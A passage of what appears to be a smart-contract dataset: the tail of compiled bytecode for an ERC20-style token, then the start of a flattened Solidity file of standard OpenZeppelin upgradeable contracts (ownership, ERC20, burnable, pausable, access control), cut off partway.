ffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610ce2565b600090505b9392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d925780601f10610d6757610100808354040283529160200191610d92565b820191906000526020600020905b815481529060010190602001808311610d7557829003601f168201915b505050505081565b60075481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60085481565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e845780601f10610e5957610100808354040283529160200191610e84565b820191906000526020600020905b815481529060010190602001808311610e6757829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610edc5750600082115b15610fe757816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610fec565b600090505b92915050565b600082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b83811015611233578082015181840152602081019050611218565b50505050905090810190601f1680156112605780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af192505050151561128457600080fd5b600190509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a72305820f4d6c727c42457d39a68d5216ba3da55b9fdf169f16e3fbd7eebcb89aa3a1fe40029 | [
38
] |
0xf340739d67b835f6aad1c5e1f6e2c618d1607b96 | // Sources flattened with hardhat v2.6.5 https://hardhat.org
// File @openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol@v4.3.2
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// File @openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
// File @openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts-upgradeable/token/ERC20/extensions/IERC20MetadataUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File @openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
uint256[45] private __gap;
}
// File @openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20BurnableUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20BurnableUpgradeable is Initializable, ContextUpgradeable, ERC20Upgradeable {
function __ERC20Burnable_init() internal initializer {
__Context_init_unchained();
__ERC20Burnable_init_unchained();
}
function __ERC20Burnable_init_unchained() internal initializer {
}
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// File @openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20PausableUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev ERC20 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*/
abstract contract ERC20PausableUpgradeable is Initializable, ERC20Upgradeable, PausableUpgradeable {
function __ERC20Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
__ERC20Pausable_init_unchained();
}
function __ERC20Pausable_init_unchained() internal initializer {
}
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
require(!paused(), "ERC20Pausable: token transfer while paused");
}
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/access/IAccessControlUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// File @openzeppelin/contracts-upgradeable/access/IAccessControlEnumerableUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
*/
interface IAccessControlEnumerableUpgradeable is IAccessControlUpgradeable {
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
// File @openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File @openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal initializer {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal initializer {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {
}
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
